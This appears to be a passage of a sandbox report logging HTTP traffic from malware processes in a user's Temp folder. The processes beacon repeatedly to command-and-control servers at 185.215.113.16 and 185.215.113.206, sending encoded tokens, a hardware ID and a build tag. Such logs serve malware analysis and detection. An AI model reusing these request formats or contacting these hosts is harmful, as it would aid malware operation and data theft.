Oct 29, 2024 05:02:50.737536907 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:51.024055958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49893	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:51.464932919 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:52.382194042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:52.384902954 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:52.679066896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49904	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:52.789433002 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:53.706964970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:54.075212002 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:54.366760969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49910	185.215.113.206	80	4676	C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:54.189354897 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 05:02:55.087847948 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 05:02:55.090620995 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 39 45 34 35 32 30 45 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 2d 2d 0d 0a Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="hwid"229E4520E30F807656615------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="build"tale------AAEBAFBGIDHCBFHIECFC--
Oct 29, 2024 05:02:55.372642040 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:02:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49915	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:54.492480993 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:55.394663095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:55.395685911 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:55.732084990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49922	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:55.851706028 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:56.749578953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:56.750477076 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:57.032737970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49932	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:57.149038076 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:58.057560921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:58.061794996 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:58.347537994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49940	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:58.547641993 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:59.458734989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:59.460253954 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:59.747757912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49949	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:59.869369030 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:00.772855997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:00.838150978 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:01.125340939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49960	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:01.244069099 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:02.169058084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:02.170659065 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:02.460400105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49969	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:02.570420027 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:03.469765902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:03.470841885 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:03.751744032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49979	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:03.872592926 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:04.770335913 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:04.773118973 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:05.056555986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49987	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:05.179941893 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:06.092755079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:06.093427896 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
